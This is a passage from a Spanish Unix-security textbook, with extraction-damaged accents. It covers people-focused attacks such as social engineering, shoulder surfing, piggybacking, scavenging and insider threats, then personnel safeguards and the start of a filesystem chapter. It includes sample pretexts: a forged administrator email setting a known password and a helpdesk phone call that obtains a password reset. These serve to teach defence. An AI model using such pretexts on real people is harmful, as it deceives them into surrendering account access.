en su apreciaci´n personal de lo que est´ sucediendo; en a ´ o a esas circunstancias, dichas acciones pueden ser sorprendentes y devastadoras, incluso si provienen de los mejores y m´s cuidadosos administradores ([CoIST99]). a 3.2 Ataques potenciales 3.2.1 Ingenier´ social ıa La ingenier´ social consiste en la manipulaci´n de las personas para que voluntariamente realicen ıa o actos que normalmente no har´ ([Fen99]); aunque a nadie le gusta ser manipulado, en algunos ıan casos no es excesivamente perjudicial (por ejemplo un vendedor puede aplicar ingenier´ social para ıa conocer las necesidades de un cliente y ofrecer as´ mejor sus productos), si las intenciones de quien la ı pone en pr´ctica no son buenas se convierte quiz´s el m´todo de ataque m´s sencillo, menos peligroso a a e a para el atacante y por desgracia en uno de los m´s efectivos. Ese atacante puede aprovechar el a desconocimiento de unas m´ ınimas medidas de seguridad por parte de personas relacionadas de una u otra forma con el sistema para poder enga˜arlas en beneficio propio. Por ejemplo, imaginemos n que un usuario de una m´quina Unix recibe el siguiente correo electr´nico: a o
- 54. 36 CAP´ ITULO 3. ADMINISTRADORES, USUARIOS Y PERSONAL From: Super-User <root@sistema.com> To: Usuario <user@sistema.com> Subject: Cambio de clave Hola, Para realizar una serie de pruebas orientadas a conseguir un optimo funcionamiento de nuestro sistema, es necesario que cambie su clave mediante la orden ’passwd’. Hasta que reciba un nuevo aviso (aproximadamente en una semana), por favor, asigne a su contrasenya el valor ’PEPITO’ (en mayusculas). Rogamos disculpe las molestias. Saludos, Administrador Si el usuario no sabe nada sobre seguridad, es muy probable que siga al pie de la letra las indi- caciones de este e-mail; pero nadie le asegura que el correo no haya sido enviado por un atacante – es muy f´cil camuflar el origen real de un mensaje –, que consigue as´ un acceso al sistema: no a ı tiene m´s que enviar un simple correo, sin complicarse buscando fallos en los sistemas operativos o a la red, para poner en juego toda la seguridad. Sin saberlo, y encima pensando que lo hace por el bien com´n, el usuario est´ ayudando al pirata a romper todo el esquema de seguridad de nuestra u a m´quina. a Pero no siempre el atacante se aprovecha de la buena fe de los usuarios para lograr sus prop´sitos; o tampoco es extra˜o que intente enga˜ar al propio administrador del sistema1 . Por ejemplo, imag- n n inemos que la m´quina tiene el puerto finger abierto, y el atacante detecta un nombre de usuario a que nunca ha conectado al sistema; en este caso, una simple llamada telef´nica puede bastarle para o conseguir el acceso: [Administrador] Buenos dias, aqu´ ´rea de sistemas, en qu´ podemos ı a e ayudarle? [Atacante] Hola, soy Jos´ Luis P´rez, llamaba porque no consigo e e recordar mi password en la m´quina sistema.upv.es. a [Administrador] Un momento, me puede decir su nombre de usuario? [Atacante] S´, claro, es jlperez. ı [Administrador] Muy bien, la nueva contrase~a que acabo de asignarle n es rudolf. Por favor, nada m´s conectar, no olvide cambiarla. a [Atacante] Por supuesto. Muchas gracias, ha sido muy amable. [Administrador] De nada, un saludo. Como podemos ver, estamos en la situaci´n opuesta a la anterior: ahora es el root quien facilita la o entrada del atacante en la m´quina; lo unico que este ha necesitado es un nombre de usuario v´lido. a ´ a Evidentemente, cualquier mensaje, llamada telef´nica o similar que un usuario reciba debe ser o puesto inmediatamente en conocimiento del administrador del sistema; hay que recordar a los usuarios que en ning´n caso se necesita su contrase˜a para realizar tareas administrativas en la u n m´quina. De la misma forma, si es el administrador quien directamente recibe algo parecido a lo a que acabamos de ver, quiz´s sea conveniente notificar el hecho a los responsables de la organizaci´n, a o y por supuesto poner la m´xima atenci´n en la seguridad de los sistemas involucrados, ya que en a o este caso se sabe a ciencia cierta que alguien intenta comprometer nuestra seguridad; en [Rad97] y [WD95] se muestran algunas de las reglas b´sicas que debemos seguir en nuestra organizaci´n para a o prevenir ataques de ingenier´ social y tambi´n para, en el caso de que se produzcan, reducir al ıa e m´ınimo sus efectos. 3.2.2 Shoulder Surfing Otro tipo de ataque relacionado con la ingenuidad de los usuarios del sistema (pero tambi´n con e el control de acceso f´ ısico) es el denominado shoulder surfing. Consiste en ‘espiar’ f´ ısicamente a 1 Esto simplemente es para dar m´s credibilidad, pero no es necesario que el usuario real no haya conectado en a mucho tiempo.
- 55. 3.2. ATAQUES POTENCIALES 37 los usuarios, para obtener generalmente claves de acceso al sistema. Por ejemplo, una medida que lamentablemente utilizan muchos usuarios para recordar sus contrase˜as es apuntarlas en un papel n pegado al monitor de su PC o escribirlas en la parte de abajo del teclado; cualquiera que pase por delante del puesto de trabajo, sin problemas puede leer el login, password e incluso el nombre de m´quina a la que pertenecen. Esto, que nos puede parecer una gran tonter´ por desgracia no a ıa, lo es, y se utiliza m´s de lo que muchos administradores o responsables de seguridad piensan; y a no s´lo en entornos ‘privados’ o con un control de acceso restringido, como pueda ser una sala de o operaciones de un centro de c´lculo, sino en lugares a los que cualquiera puede llegar sin ninguna a acreditaci´n: personalmente, hace unos a˜os pude leer claramente ‘post-it’ pegados a los monitores o n de los PCs utilizados por el personal de informaci´n de unos grandes almacenes de Valencia, en o los que aparec´ el nombre de usuario, la clave y el tel´fono de varios sistemas de la empresa; ıan e cualquiera que se acercase al mostrador pod´ leer y memorizar esta informaci´n sin problemas. ıa o El shoulder surfing no siempre se ve beneficiado por la ingenuidad de los simples usuarios de un equipo; en determinadas ocasiones son los propios programadores (gente que te´ricamente ha o de saber algo m´s sobre seguridad que el personal de administraci´n o de atenci´n al p´blico) los a o o u que dise˜an aplicaciones muy susceptibles de sufrir ataques de este tipo. Por ejemplo, en ciertas n aplicaciones – especialmente algunas que se ejecutan sobre MS Windows, y que son m´s o menos a antiguas – muestran claramente en pantalla las contrase˜as al ser tecleadas. Cualquiera situado n cerca de una persona que las est´ utilizando puede leer claramente esa clave; un perfecto ejemplo a de lo que no se debe hacer nunca. 3.2.3 Masquerading El ataque denominado de masquerading o mascarada consiste simplemente en suplantar la identi- dad de cierto usuario autorizado de un sistema inform´tico o su entorno; esta suplantaci´n puede a o realizarse electr´nicamente – un usuario utiliza para acceder a una m´quina un login y password o a que no le pertenecen – o en persona. En este punto hablaremos brevemente de este ultimo caso, la ´ suplantaci´n en persona, un ataque relativo tanto a la seguridad f´ o ısica del entorno de operaciones como a la seguridad del personal. La mascarada no es un ataque habitual en entornos normales; en estos, o bien existen ´reas dea acceso semip´blico, donde un atacante no tiene que hacer nada especial para conseguir acceso – y u por tanto no cabe hablar de masquerading – o bien ´reas de acceso restringido pero controlado por a el propio personal de la organizaci´n, como despachos o laboratorios. En este caso un ataque v´ o ıa mascarada no suele ser efectivo, ya que es muy f´cil detectar al intruso (otro tema ser´ si realmente a ıa se toma alguna medida al detectarlo o simplemente se le deja seguir, ah´ ya entrar´ en juego la ı ıa formaci´n de los usuarios) por tratarse de ´reas dentro de las cuales todo el personal ‘habitual’ se o a conoce. El masquerading es m´s habitual en entornos donde existen controles de acceso f´ a ısico, y donde un intruso puede ‘enga˜ar’ al dispositivo – o persona – que realiza el control, por ejemplo con n una tarjeta de identificaci´n robada que un lector acepta o con un carn´ falsificado que un guardia o e de seguridad da por bueno. Una variante del masquerading lo constituye el ataque denominado piggybacking, que consiste sim- plemente en seguir a un usuario autorizado hasta un ´rea restringida y acceder a la misma gracias a a la autorizaci´n otorgada a dicho usuario. Contra esto se deben aplicar las mismas medidas que o contra la mascarada f´ısica: controles de acceso estrictos, y convenientemente verificados. Los ejem- plos de piggybacking son muy habituales: desde un atacante que se viste con un mono de trabajo y que carga con un pesado equipo inform´tico en la puerta de una sala de operaciones, para que justo a cuando un usuario autorizado llegue le abra dicha puerta y le permita el acceso por delante del guardia de seguridad, hasta la cl´sica an´cdota que todos los auditores explican como suya, sobre a e el reconocedor de tarjetas inteligentes que abre la puerta de una sala pero que una vez abierta no se preocupa en contar cuantas personas la atraviesan, podr´ ıamos estar durante d´ dando ejemplos ıas de ataques exitosos utilizando la t´cnica del piggybacking. e
- 56. 38 CAP´ ITULO 3. ADMINISTRADORES, USUARIOS Y PERSONAL 3.2.4 Basureo La t´cnica del basureo (en ingl´s, scavenging) est´ relacionada tanto con los usuarios como con e e a la seguridad f´ ısica de los sistemas, de la que hemos hablado en el anterior cap´ ıtulo; consiste en obtener informaci´n dejada en o alrededor de un sistema inform´tico tras la ejecuci´n de un tra- o a o bajo ([Par81]). El basureo puede ser f´ısico, como buscar en cubos de basura (trashing, traducido tambi´n por basureo) listados de impresi´n o copias de documentos, o l´gico, como analizar buffers e o o de impresoras, memoria liberada por procesos, o bloques de un disco que el sistema acaba de marcar como libres, en busca de informaci´n. o Aunque esta t´cnica no es muy utilizada en la mayor´ de entornos, hemos de pensar que si un e ıa usuario tira a la basura documentos que proporcionen informaci´n sobre nuestro sistema, cualquier o potencial atacante puede aprovechar esa informaci´n para conseguir acceder al equipo; algo tan o simple como una factura en la que se especifiquen n´meros de tel´fono o nombres (reales o de u e entrada al sistema) de usuarios puede convertirse en una valiosa informaci´n para un atacante. o Adem´s, en ocasiones ni siquiera es necesario andar revolviendo por los cubos de basura en busca a de informaci´n comprometedora: la carencia de nociones b´sicas sobre seguridad inform´tica hace o a a posible que los usuarios dejen al alcance de cualquiera informaci´n vital de cara a mantener un sis- o tema seguro. Personalmente, en un aula de inform´tica de la Universidad Polit´cnica de Valencia a e encontr´ por casualidad una hoja de papel que estaba siendo utilizada a modo de alfombrilla para e el rat´n; esta hoja era una carta personalizada que el director de la Escuela T´cnica Superior de o e Ingenieros Industriales hab´ enviado a cada alumno de esa escuela para informarles de sus nuevas ıa claves de acceso a ciertos recursos de la universidad, ya que las anteriores hab´ tenido que ser ıan cambiadas porque un pirata las captur´. Con esa sencilla hoja de papel (en la figura 3.1 se muestra o una copia – con los datos importantes ocultos, en el original no hay nada ‘censurado’ –) cualquiera podr´ haber le´ el correo de ese usuario, utilizar su acceso remoto de la universidad, curiosear ıa ıdo en su expediente o participar en foros de asignaturas bajo la identidad del usuario atacado. Como hemos dicho el basureo no es un ataque habitual en organizaciones ‘normales’, simplemente porque los datos con los que estan trabajan no suelen ser de alta confidencialidad. De cualquier forma, si deseamos evitar problemas lo m´s inmediato es utilizar una m´quina trituradora de pa- a a pel (su precio no suele ser prohibitivo, y la inversi´n quiz´s valga la pena) para destruir toda la o a documentaci´n antes de arrojarla a la basura; incluso nos puede interesar contratar los servicios o de compa˜´ dedicadas exclusivamente a la destrucci´n de estos soportes. En el caso de sistemas nıas o de almacenamiento l´gico (discos, CD-ROMs, cintas. . . ) tambi´n es importante una correcta inuti- o e lizaci´n de los mismos para que un potencial atacante no pueda extraer informaci´n compromete- o o dora; no suele ser suficiente el simple borrado del medio o un leve da˜o f´ n ısico (por ejemplo, partir un CD-ROM), ya que como comentaremos al hablar de recuperaci´n de datos existen empresas o capaces de extraer hasta el ultimo bit de un medio borrado o da˜ado. Lo m´s efectivo ser´ un ´ n a ıa borrado seguro, seguido de una destrucci´n f´ o ısica importante que haga imposible la reconstrucci´no del medio. 3.2.5 Actos delictivos Bajo este nombre englobamos actos tipificados claramente como delitos por las leyes espa˜olas, n como el chantaje, el soborno o la amenaza. Esto no implica que el resto de actividades no sean (o deban ser) delitos, sino simplemente que en la pr´ctica a nadie se le castiga ‘legalmente’ por a pasear por una sala de operaciones en busca de claves apuntadas en teclados, pero s´ que se le ı puede castigar por amenazar a un operador para que le permita el acceso al sistema. Por suerte, la naturaleza de la informaci´n con la que se trabaja en la mayor parte de entornos o hace poco probable que alguien amenaze o chantajee a un operador para conseguir ciertos datos; al tratarse de informaci´n poco sensible, en la mayor´ de situaciones los atacantes no llegan a o ıa estos extremos para acceder al sistema, sino que utilizan procedimientos menos arriesgados como la ingenier´ social o la captura de datos que viajan por la red. No obstante, si en alguna ocasi´n ıa o nos encontramos en estas situaciones, siempre es conveniente la denuncia; aunque en principio po- damos ceder ante las presiones de un delincuente, hemos de tener presente que si mostramos cierta
- 57. 3.2. ATAQUES POTENCIALES 39 Figura 3.1: El resultado de un basureo involuntario.
- 58. 40 CAP´ ITULO 3. ADMINISTRADORES, USUARIOS Y PERSONAL debilidad, una vez que ´ste consiga sus prop´sitos nada le va a impedir seguir amenaz´ndonos o e o a chantaje´ndonos para obtener m´s informaci´n. Si actuamos con la suficiente discrecci´n, las au- a a o o toridades pueden f´cilmente llevar al individuo ante la justicia sin necesidad de grandes esc´ndalos a a que pueden afectar gravemente a la imagen de nuestra organizaci´n. o 3.3 ¿Qu´ hacer ante estos problemas? e La soluci´n a problemas relacionados con el personal es con frecuencia mucho m´s compleja que o a la de problemas de seguridad l´gica o seguridad de la red: mientras que un administrador puede o aprovechar herramientas de seguridad, capacidades del sistema operativo, o cifrado de datos para prevenir ciertos ataques, es mucho m´s dif´ para ´l concienciar a los usuarios de unas m´ a ıcil e ınimas medidas de prevenci´n o convencer a un guardia de seguridad de que s´lo deje acceder a la sala de o o operaciones a un n´mero restringido de personas. u Generalmente los usuarios de m´quinas Unix en entornos habituales son personas muy poco for- a madas en el manejo del sistema operativo, y mucho menos en lo que a seguridad inform´tica se re- a fiere; se suele tratar de usuarios que s´lo utilizan la m´quina para ejecutar aplicaciones muy concre- o a tas (simulaciones, compiladores, gesti´n del correo electr´nico, aplicaciones cient´ o o ıficas. . . relacionadas con su ´rea de trabajo), y cuya unica preocupaci´n es que sus datos est´n listos cuando los requieren, a ´ o e de la forma m´s f´cil y r´pida posible. Incluso el administrador de ciertos sistemas es uno de estos a a a usuarios, elegido dentro del grupo (o mucho peor, son todos los usuarios). Evidentemente, resulta muy dif´ concienciar a estas personas de la necesidad de seguridad en el entorno; posturas como ıcil ‘no importa que mi clave sea d´bil, s´lo utilizo la cuenta para imprimir con la l´ser’ son por des- e o a gracia demasiado frecuentes. El responsable de seguridad ha de concienciar a todas estas personas de la necesidad de la seguridad para que el entorno de trabajo funcione como se espera de ´l; la e seguridad inform´tica se ha de ver como una cadena que se rompe si falla uno de sus eslabones: a no importa que tengamos un sistema de cifrado resistente a cualquier ataque o una autenticaci´n o fuerte de cualquier entidad del sistema si un intruso es capaz de obtener un nombre de usuario con su correspondiente contrase˜a simplemente llamando por tel´fono a una secretaria. n e Adem´s de concienciaci´n de los usuarios y administradores en cuanto a seguridad se refiere (esto a o ser´ el que), para conseguir un sistema fiable es necesaria la formaci´n de los mismos (el como). ıa ´ o ´ De la misma forma que a nadie se le ocurre conducir sin tener unos conocimientos b´sicos sobre un a autom´vil, no deber´ ser tan habitual que la gente utilice o administre Unix sin unos conocimientos o ıa previos del sistema operativo. Evidentemente, a un qu´ ımico que utiliza el sistema para simular el comportamiento de determinada sustancia bajo ciertas condiciones no se le puede exigir un curso intensivo o unos grandes conocimientos de mecanismos de seguridad en Unix; pero s´ que ser´ı ıa recomendable que conozca unas ideas b´sicas (volviendo al ejemplo del autom´vil, para conducir a o un coche a nadie se le exige ser un as de la mec´nica, pero s´ unas cualidades m´ a ı ınimas). Estas ideas b´sicas se pueden incluso resumir en una hoja que se le entregue a cada usuario al darlos de a alta en el sistema. Si pasamos a hablar de administradores, s´ que ser´ recomendable exigirles un ı ıa cierto nivel de conocimientos de seguridad, nivel que se puede adquirir simplemente leyendo alg´n li- u bro (especialmente recomendado ser´ [GS96] o, para los que dispongan de menos tiempo, [RCG96]). ıa Un grupo de personas m´s delicado si cabe es el conjunto formado por todos aquellos que no a son usuarios del sistema pero que en cierta forma pueden llegar a comprometerlo. Por ejemplo, en este conjunto encontramos elementos tan diversos como guardias de seguridad que controlen el acceso a las instalaciones inform´ticas o personal de administraci´n y servicios que no utilicen el a o sistema pero que tengan acceso f´ ısico a ´l, como electricistas, bedeles o personal de limpieza. Sin e entrar en temas que seguramente no son aplicables a los sistemas habituales, como el espionaje industrial o el terrorismo de alta magnitud2 , simplemente hemos de concienciar y ense˜ar a estos n ‘usuarios’ unas medidas b´sicas a tomar para no poner en peligro nuestra seguridad; estas medidas a dependen por supuesto de la funci´n de cada unas personas realice. o Pero, ¿qu´ sucede cuando el personal de nuestra propia organizaci´n produce ataques (y no ac- e o 2 Temas que habr´ que tener en cuenta en otro tipo de redes. ıa
- 59. 3.4. EL ATACANTE INTERNO 41 cidentes) sobre nuestros sistemas? En este caso las consecuencias pueden ser grav´ ısimas, y por tanto las medidad de protecci´n y detecci´n han de ser estrictas. Se ha de llevar a cabo un control o o estricto de las actividades que se realizan en la organizaci´n, por ejemplo mediante pol´ o ıticas que han de ser de obligado cumplimiento, as´ como un control de acceso a todos los recursos de los ı que disponemos (mediante mecanismos de autenticaci´n de usuarios, alarmas, etc.). Adem´s, las o a sanciones en caso de incumplimiento de las normas han de ser efectivas y ejemplares: si un usuario viola intencionadamente nuestra seguridad y no se le sanciona adecuadamente, estamos invitando al resto de usuarios a que hagan lo mismo. En el punto siguiente vamos a hablar con m´s profundidad a de estos atacantes, denominados internos. 3.4 El atacante interno En el punto anterior hemos presentado al personal de nuestra organizaci´n como v´ o ıctima de los ataques realizados por agentes externos a la misma; sin embargo, seg´n [Cow92] el 80% de los u fraudes, robos, sabotajes o accidentes relacionados con los sistemas inform´ticos son causados por a el propio personal de la organizaci´n propietaria de dichos sistemas, lo que se suele denominar o el insider factor. ¿Qu´ significa esto? Principalmente que la mayor amenaza a nuestros equipos e viene de parte de personas que han trabajado o trabajan con los mismos. Esto, que es realmente preocupante, lo es mucho m´s si analizamos la situaci´n con un m´ a o ınimo de detalle: una persona que trabaje codo a codo con el administrador, el programador, o el responsable de seguridad de una m´quina conoce perfectamente el sistema, sus barreras, sus puntos d´biles. . . de forma que un a e ataque realizado por esa persona va a ser much´ ısimo m´s directo, dif´ de detectar, y sobre todo, a ıcil efectivo, que el que un atacante externo (que necesita recopilar informaci´n, intentar probar fallos o de seguridad o conseguir privilegios) pueda ejecutar. Pero, ¿por qu´ va a querer alguien atacar a su propia organizaci´n? ¿Por qu´ alguien va a ar- e o e riesgarse a perder su trabajo, romper su carrera o incluso a ir a la c´rcel? Como se acostumbra a a decir, todos tenemos un precio; no importa lo honestos que seamos o que queramos creer que somos: dinero, chantaje, factores psicol´gicos. . . nos pueden arrastrar a vender informaci´n, a robar o o ficheros o simplemente a proporcionar acceso a terceros que se encarguen del trabajo sucio. En una empresa, un empleado puede considerarse mal pagado e intentar conseguir un sueldo extra a base de vender informaci´n; en un banco, alguien que a diario trabaje con los sistemas inform´ticos puede o a darse cuenta de la facilidad para desviar fondos a una cuenta sin levantar sospechas; en una base militar, un pa´ enemigo puede secuestrar a la mujer de un administrador para que ´ste les pase ıs e informaci´n confidencial. Existen numerosos estudios ([SM70], [CC86], [HC83], [Kat88], [Rei89]. . . ) o que tratan de explicar los motivos que llevan a una persona a cometer delitos, inform´ticos o no, a contra su propia organizaci´n, pero sea cual sea el motivo la cuesti´n est´ en que tales ataques o o a existen, son numerosos, y hay que tomar medidas contra ellos. ¿C´mo prevenir o defendernos de los atacantes internos? En una empresa, una norma b´sica o a ser´ verificar el curriculum de cualquier aspirante a nuevo miembro (no simplemente leerlo y dar- ıa lo por bueno, sino comprobar los datos y directamente descartar al aspirante si se detecta una mentira); si buscamos algo m´s de seguridad – por ejemplo, sistemas militares – tambi´n es re- a e comendable investigar el pasado de cada aspirante a pertenecer a la organizaci´n, buscando sobre o todo espacios en blanco durante los que no se sabe muy bien qu´ ha hecho o a qu´ se ha dedicado e e esa persona (¿qui´n nos asegura que ese par´ntesis de tres a˜os durante los que el aspirante asegura e e n que estuvo trabajando para una empresa extranjera no los pas´ realmente en la carcel por delitos o inform´ticos?). Si siguiendo ejemplos como estos podemos asegurar la integridad de todos los que a entran a formar parte del equipo, habremos dado un importante paso en la prevenci´n de ataques o internos. Tampoco debemos olvidar que el hecho de que alguien entre ‘limpio’ a nuestra organizaci´n no o implica que vaya a seguir as´ durante el tiempo que trabaje para nosotros, y mucho menos cuando ı abandone su trabajo. Para minimizar el da˜o que un atacante interno nos puede causar se suelen n seguir unos principios fundamentales ([Smi92], [GS96], [Pla83]. . . ) que se aplican sobre el personal de la empresa:
- 60. 42 CAP´ ITULO 3. ADMINISTRADORES, USUARIOS Y PERSONAL • Necesidad de saber (Need to know) o m´ ınimo privilegio A cada usuario se le debe otorgar el m´ınimo privilegio que necesite para desepe˜ar correc- n tamente su funci´n, es decir, se le debe permitir que sepa s´lamente lo que necesita para o o trabajar. De esta forma, un programador no tiene por qu´ conocer las pol´ e ıticas de copia de seguridad de la m´quina, ni un alumno tiene que poseer privilegios en un sistema de pr´cticas. a a • Conocimiento parcial (Dual Control) Las actividades m´s delicadas dentro de la organizaci´n en cuanto a seguridad se refiere a o (por ejemplo, el conocimiento de la clave de root de una m´quina) deben ser realizadas por a dos personas competentes, de forma que si uno de ellos comete un error o intenta violar las pol´ ıticas de seguridad el otro pueda darse cuenta r´pidamente y subsanarlo o evitarlo. De a la misma forma, aplicar este principio asegura que si uno de los responsables abandona la organizaci´n o tiene un accidente el otro pueda seguir operando los sistemas mientras una o nueva persona sustituye a su compa˜ero. n • Rotaci´n de funciones o Quiz´s la mayor amenaza al conocimiento parcial es la potencial complicidad que los dos a responsables de cierta tarea puedan llegar a establecer, de forma que entre los dos sean capaces de ocultar las violaciones de seguridad que nuestros sistemas puedan sufrir; incluso puede suceder lo contrario: que ambas personas sean enemigos y esto repercuta en el buen funcionamiento de la pol´ ıtica de seguridad establecida. Para evitar ambos problemas, una norma com´n es rotar – siempre dentro de unos l´ u ımites – a las personas a lo largo de diferentes responsabilidades, de forma que a la larga todos puedan vigilar a todos; esto tambi´n es muy e util en caso de que alguno de los responsables abandone la organizaci´n, ya que en este caso ´ o sus tareas ser´n cubiertas m´s r´pidamente. a a a • Separaci´n de funciones o No es en absoluto recomendable que una sola persona (o dos, si establecemos un control dual) posea o posean demasiada informaci´n sobre la seguridad de la organizaci´n; es necesario que o o se definan y separen correctamente las funciones de cada persona, de forma que alguien cuya tarea es velar por la seguridad de un sistema no posea ´l mismo la capacidad para violar dicha e seguridad sin que nadie se percate de ello. Si aplicamos correctamente los principios anteriores en nuestra pol´ıtica de personal vamos a evitar muchos problemas de seguridad, no s´lo cuando un usuario trabaja para nuestro entorno sino lo o que es igual de importante, cuando abandona la organizaci´n. Cuando esto sucede se debe cancelar o inmediatamente el acceso de esa persona a todos nuestros recursos (cuentas de usuario, servicio de acceso remoto, unidades de red. . . ), y tambi´n cambiar las claves que ese usuario conoc´ Es- e ıa. pecialmente en los entornos de I+D quiz´s esto es algo complicado debido a la gran movilidad de a usuarios (un profesor invitado durante un mes a la universidad, un proyectando que s´lo necesita o acceso a una m´quina mientras que realiza su proyecto. . . ), por lo que es aqu´ donde se suelen a ı ver mayores barbaridades en los sistemas: desde cuentas que hace a˜os que no se utilizan hasta n direcciones de correo de gente que dej´ de trabajar para la organizaci´n hace a˜os. Evidentemente, o o n este tipo de cosas son muy preocupantes para la seguridad, y es justo en estos accesos no utilizados donde un atacante puede encontrar una de las mejores puertas de entrada a los sistemas: simple- mente hemos de pensar que si el usuario de una cuenta hace a˜os que no la utiliza, por l´gica hace n o a˜os que esa clave no se cambia. n Hasta ahora hemos hablado principalmente de los problemas que nos pueden causar las personas que trabajan para la organizaci´n; no obstante, las redes de I+D son bastante peculiares a la hora o de hablar de ataques internos. Se trata de sistemas en los que un elevado n´mero de usuarios – u los alumnos – puede considerar un reto personal o intelectual (?) saltarse las medidas de protec- ci´n impuestas en la red; adem´s, y especialmente en universidades t´cnicas, por la naturaleza de o a e sus estudios muchos alumnos llegan a poseer elevados conocimientos sobre sistemas operativos y redes, lo que evidentemente es un riesgo a˜adido: no es lo mismo proteger de ataques internos n una m´quina Unix en una Facultad de Derecho, donde a priori muy pocos alumnos tendr´n el a a inter´s o los conocimientos suficientes para saltarse la seguridad del sistema, que en una Facultad e de Inform´tica, donde el que m´s y el que menos tiene nociones de seguridad o de Unix y a diario a a
- 61. 3.4. EL ATACANTE INTERNO 43 se trabaja en estos entornos. Las normas vistas aqu´ seguramente se pueden aplicar sobre el personal de la organizaci´n, pero ı o no sobre los alumnos (que es justamente de quienes provienen la mayor´ de ataques): no pode- ıa mos obligar a un alumno de nuevo ingreso a que nos muestre un resumen de su vida, ni mucho menos tenemos capacidad para verificar los datos de treinta o cincuenta mil alumnos. Incluso si pudi´ramos, ¿ser´ legal o ´tico denegar el acceso a la universidad a alguien con antecedentes pe- e ıa e nales, por ejemplo? Seguramente no. . . De esta forma, en organismos de I+D nos debemos ce˜ir a n otros mecanismos de prevenci´n, por ejemplo en forma de sanciones ejemplares para todos aquellos o que utilicen los recursos del centro para cometer delitos inform´ticos; sin llegar a los tribunales, las a posibles penas impuestas dentro de la universidad son a veces m´s efectivas que una denuncia en a el juzgado, donde los piratas incluso despiertan cierta simpat´ entre muchos abogados y jueces. ıa
- 62. 44 CAP´ ITULO 3. ADMINISTRADORES, USUARIOS Y PERSONAL
- 63. Parte II Seguridad del sistema
- 65. Cap´ ıtulo 4 El sistema de ficheros NOTA: Obviamente, en este cap´ ıtulo no hablaremos del tratamiento de ficheros (creaci´n, borrado, modificaci´n, jerarqu´ de directorios. . . ), sino de temas referentes o o ıa a la seguridad de los archivos y el sistema de ficheros. Para informaci´n sobre la gesti´n o o de ficheros se puede consultar cualquier obra que estudie Unix desde una perspectiva general, como [TY82], [CR94] o [Man91]. Para un conocimiento m´s profundo sobre los a ficheros y los sistemas de archivos se puede consultar [Tan91], [Bac86] (bsd), [GC94] (System V) o, en el caso de Linux, [CDM97] o [BBD+ 96]. 4.1 Introducci´n o Dentro del sistema Unix todo son archivos: desde la memoria f´ ısica del equipo hasta el rat´n, pasan- o do por m´dems, teclado, impresoras o terminales. Esta filosof´ de dise˜o es uno de los factores o ıa n que m´s ´xito y potencia proporciona a Unix ([KP84]), pero tambi´n uno de los que m´s peligros a e e a entra˜a: un simple error en un permiso puede permitir a un usuario modificar todo un disco duro n o leer los datos tecleados desde una terminal. Por esto, una correcta utilizaci´n de los permisos, o atributos y otros controles sobre los ficheros es vital para la seguridad de un sistema. En un sistema Unix t´ ıpico existen tres tipos b´sicos de archivos: ficheros planos, directorios, y a ficheros especiales (dispositivos) 1 ; generalmente, al hablar de ficheros nos solemos referir a todos ellos si no se especifica lo contrario. Los ficheros planos son secuencias de bytes que a priori no poseen ni estructura interna ni contenido significante para el sistema: su significado depende de las aplicaciones que interpretan su contenido. Los directorios son archivos cuyo contenido son otros ficheros de cualquier tipo (planos, m´s directorios, o ficheros especiales), y los ficheros especiales a son ficheros que representan dispositivos del sistema; este ultimo tipo se divide en dos grupos: los ´ dispositivos orientados a car´cter y los orientados a bloque. La principal diferencia entre ambos a es la forma de realizar operaciones de entrada/salida: mientras que los dispositivos orientados a car´cter las realizan byte a byte (esto es, car´cter a car´cter), los orientados a bloque las realizan a a a en bloques de caracteres. El sistema de ficheros es la parte del n´cleo m´s visible por los usuarios; se encarga de ab- u a straer propiedades f´ ısicas de diferentes dispositivos para proporcionar una interfaz unica de alma- ´ cenamiento: el archivo. Cada sistema Unix tiene su sistema de archivos nativo (por ejemplo, ext2 en Linux, ufs en Solaris o efs en IRIX), por lo que para acceder a todos ellos de la misma forma el n´cleo de Unix incorpora una capa superior denominada VFS (Virtual File System) encargada u de proporcionar un acceso uniforme a diferentes tipos de sistema de ficheros. Un inodo o nodo ´ ındice es una estructura de datos que relaciona un grupo de bloques de un dispositivo con un determinado nombre del sistema de ficheros. Internamente, el n´cleo de Unix u no distingue a sus archivos por su nombre sino por un n´mero de inodo; de esta forma, el fichero u con n´mero de inodo 23421 ser´ el mismo tanto si se denomina /etc/passwd como si se denomina u a 1 Otros tipos de archivos, como los enlaces simb´licos, los sockets o los pipes no los vamos a tratar aqu´ o ı.
- 66. 48 CAP´ ITULO 4. EL SISTEMA DE FICHEROS /usr/fichero. Mediante la orden ln(1) se pueden asignar a un mismo inodo varios nombres de fichero diferentes en el sistema de archivos. 4.2 Sistemas de ficheros Cuando un sistema Unix arranca una de las tareas que obligatoriamente ha de realizar es incorporar diferentes sistemas de ficheros – discos completos, una partici´n, una unidad de CD-ROM. . . – a o la jerarqu´ de directorios Unix; este proceso se llama montaje, y para realizarlo generalmente se ıa utiliza la orden mount. Es obligatorio montar al menos un sistema de ficheros durante el arranque, el sistema ra´ (‘/’), del que colgar´n todos los dem´s. ız a a Montar un sistema de ficheros no significa m´s que asociar un determinado nombre de directo- a rio, denominado mount point o punto de montaje, con el sistema en cuesti´n, de forma que al o utilizar dicha ruta estaremos trabajando sobre el sistema de ficheros que hemos asociado a ella. Para saber qu´ sistemas de ficheros se han de montar en el arranque de la m´quina, y bajo qu´ e a e nombre de directorio, Unix utiliza un determinado archivo; aunque su nombre depende del clon utilizado (/etc/vfstab en Solaris, /etc/fstab en Linux. . . ), su funci´n – e incluso su sintaxis – o es siempre equivalente. Un ejemplo de este fichero es el siguiente: luisa:~# cat /etc/fstab /dev/hda3 / ext2 defaults 1 1 /dev/hda4 /home ext2 defaults 1 2 none /proc proc defaults 1 1 luisa:~# Cuando el sistema arranque, el fichero anterior viene a indicar que en /dev/hda3 se encuentra el sistema de ficheros ra´ de tipo ext2 (el habitual en Linux), y que se ha de montar con las opciones ız, que se toman por defecto. La segunda l´ ınea nos dice que /home es un sistema diferente del anterior, pero del mismo tipo y que se montar´ con las mismas opciones; finalmente, la ultima entrada hace a ´ referencia al directorio /proc/, donde se encuentra un sistema de ficheros especial que algunos Unices utilizan como interfaz entre estructuras de datos del n´cleo y el espacio de usuario (no en- u traremos en detalles con ´l). Si cualquiera de las entradas anteriores fuera err´nea, el sistema o bien e o no arrancar´ o bien lo har´ incorrectamente. Por lo que evidentemente el fichero /etc/fstab o ıa ıa sus equivalentes ha de ser s´lo modificable por el root, aunque nos puede interesar – como veremos o luego – que los usuarios sin privilegios puedan leerlo. Lo visto hasta aqu´ no suele representar ning´n problema de seguridad en Unix; si hemos di- ı u cho que no hablar´ ıamos de aspectos generales de los sistemas de ficheros, ¿por qu´ comentamos e este aspecto? Muy sencillo: diferentes problemas radican en una gesti´n incorrecta del montaje o de sistemas 